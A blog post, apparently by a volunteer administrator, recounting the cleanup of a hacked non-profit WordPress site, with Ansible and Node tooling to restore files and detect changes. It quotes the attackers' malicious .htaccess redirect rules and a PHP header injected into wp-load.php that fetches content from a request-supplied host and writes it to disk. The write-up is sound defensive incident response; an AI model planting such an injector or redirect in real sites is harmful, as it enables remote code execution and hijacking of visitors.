I was made aware of trouble with a wordpress site – not that there's anything inherently wrong with wordpress, this one just happened to be. It was a non-profit site managed by a team of volunteers, and it was redirecting to a spam-ish canadian pharmacy domain. Investigation found the site to be quite extensively corrupted through a combination of methods including "hacker shells" (php scripts giving access to view and modify the filesystem), remote code injectors (navigate to a certain URL, and it'll go pull remote code and execute it), and micro uploaders (navigate to a certain URL, and it features a small form for uploading new malware). The whole mess reeked of multiple script kiddies mucking a site and might have gone unnoticed if someone hadn't gotten greedy and redirected the entire domain. The ultimate answer will probably be to nuke the entire site from orbit. It's the only way to be sure, but in the meantime I've taken some novel approaches at keeping it online in effort to provide time for making a decision about the future of the site. What follows is some of the findings, and some of my tricks to counter the hack. It doesn't attempt to detail the entirety of the response, but just highlight a couple interesting aspects.
The redirect was caused by .htaccess files. Those were easy enough to find and correct.
RewriteRule ^([A-Za-z0-9-]+).html$ http://malware.example.com/ [L]
RewriteRule ^([A-Za-z0-9-]+).txt$ http://malware.example.com/ [L]
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule . http://malware.example.com/ [L]
# Another approach:
RewriteEngine On
RewriteRule ^([A-Za-z0-9-]+).html$ malicious_script.php?some=args [L]The trickier problem was mopping up the various malware that had been littered across the domain and injected at the head of some legitimate files. The malware was sometimes obfuscated, and generally did one of two things: curl_exec or create_function (and then call that function, which is effectively eval). An example of a malicious header was found in wp-load.php and index.php.
<?php
//scp-173
function updatefile($blacks=''){
$header = isset($_REQUEST['WordPress']) ? trim($_REQUEST['WordPress']) : '';
$blog = isset($_REQUEST['Database']) ? trim($_REQUEST['Database']) : '';
$wp = curl_init('http://'.$header);
curl_setopt($wp, CURLOPT_RETURNTRANSFER, 1);
$curxecs = curl_exec($wp);
if ($blog!='') {
file_put_contents($blog, $curxecs);
}
if (isset($_GET['daksldlkdsadas'])) {
echo 'wp-blog-header';
}
}
updatefile();
?>When I removed the malicious headers, the attackers replaced them with obfuscated versions because the site was still corrupt and the hack was ongoing. Simple enough to counter – write an ansible task with the copy module to guarantee the validity of critical files.
---
- hosts: all
vars:
files:
- src : index.php
dest: /home/user/public_html/
- src : wp-load.php
dest: /home/user/public_html/
- src : htaccess
dest: /home/user/public_html/.htaccess
- src : authorized_keys
dest: /home/user/.ssh/
tasks:
- name: replace files
copy:
src : "{{item.src }}"
dest: "{{item.dest}}"
backup: yes
loop: "{{files}}"
notify: importantI then took some signatures from the malware, and grepped the filesystem to find other copies. For example, O0O0, B3igf, and scp- were found to be problematic, so the directory tree could be searched for them using the following script:
grep -cHRP '(O0O0|B3igf|scp-)' ~/public_html/ |grep -vP :0$ |cut -d: -f1That command took a little bit to craft. It finds files matching the malware signatures and spits out a list of the files that need to be reviewed. As I found more malware, some files were able to be confirmed by their checksum and entire directories could be quickly discarded. Looking for and reviewing files containing curl_exec and create_function is also worthwhile, but will find false-positives.
Part of the difficulty of this whole process is the attackers had manipulated timestamps across the entire directory (and subdirs). Because they were trying to cover their tracks, just searching for recently modified files wouldn't glean much insight, so I needed to devise a different method of finding changed files. With corruption rampant across the filesystem, the shell couldn't necessarily be trusted (ruling out local jobs utilizing things like inotify). Furthermore, since the host is a shared host without privileged access, the tools for tracking and combating this issue are somewhat limited. For these reasons, I again turned to ansible.
- name: find all files in path
find:
paths: [/home/user/]
recurse: yes
# excludes not working. outsourced to nodejs.
# excludes:
# - /home/user/.cpanel/*
register: allfiles
# This is a significant variable size that could compound both
# bandwidth and disk use with regular polling. YMMV.
- name: Check the files for changes
delegate_to: localhost
block:
- name: store information about files for tracking changes
changed_when: false
copy:
content: "{{allfiles |to_nice_json}}"
dest: inventory/af.{{ansible_date_time.date}}_{{ansible_date_time.hour}}-{{ansible_date_time.minute}}.json
- name: Check the files for changes
shell: node compare
register: changedfiles
changed_when: false
- debug:
var: changedfiles.stdout_lines
when : changedfiles.stdout != ''
changed_when: true
notify: important
# I make the debug show changed so it highlights
# in stdout and triggers the notify. Preference.With logic constructs being somewhat limited in ansible, I supplemented with node to help compare the filesystem for changes.
const fs = require('fs')
let path = __dirname+"/inventory/"
function compare(a, b){
if(a.mtime > b.mtime) return 1
if(a.mtime < b.mtime) return -1
return 0
}
function reformat(arr){
let obj = {}
arr.forEach((file)=>{
//So far, these have proved sufficient for finding changes.
//If the attackers muck the timestamps again, or find a way
//to inject malware without changing filesize, this will
//need to be updated with an appropriate response.
obj[file.path] = [file.mtime, file.size]
})
return obj
}
function ignore(str){
if(str.match(/captcha\/\d+.(txt|png)$/)) return true
if(str.match(/^\/home\/user\/.ansible\/tmp/)) return true
if(str.match(/^\/home\/user\/.cpanel\//)) return true
return false
}
fs.readdir(path, (e,files)=>{
let files_with_stats = []
files.forEach((file)=>{
let stats = fs.statSync(path+file)
stats.path = file
files_with_stats.push(stats)
})
let sorted_files = files_with_stats.sort(compare)
let one = reformat(require(__dirname+"/inventory/"+sorted_files.pop().path).files)
let two = reformat(require(__dirname+"/inventory/"+sorted_files.pop().path).files)
Object.keys(one).forEach((key)=>{
if(ignore(key)) return
if(!two[key]) return console.log(`New file: ${key}`)
if(one[key][0] != two[key][0] || one[key][1] != two[key][1]) console.log(`Changed : ${key}`)
})
Object.keys(two).forEach((key)=>{
if(ignore(key)) return
if(!one[key]) return console.log(`Deleted : ${key}`)
})
})That's pretty much it. The ansible playbook features an important handler that generates an outgoing call file for my asterisk PBX, which in turn calls me to raise awareness when the system has unauthorized changes that need to be reviewed. As changes are made to the system, I review web logs to find the point of entry, and review the new malware to add to the list of signatures the system looks for.
I also enrolled the site for monitoring with a zabbix instance and created a web scenario to check the page for some basic conditions. This supplements the change monitoring from the ansible+node playbook, and gives greater peace of mind the site is holding stable.
As more malware has been found and removed, the system has alerted me less. Either it's mostly cleaned up at this point, or the attackers are losing interest. It's not fixed, but these efforts bought time to avoid a rushed decision about how to rebuild the site. Because the anti-hacking efforts are automated, I can sit back and relax with some confidence that if/when a new problem arises, it'll be identified in a timely manner, some of it may be cleaned up automatically, and we'll have a chance to respond.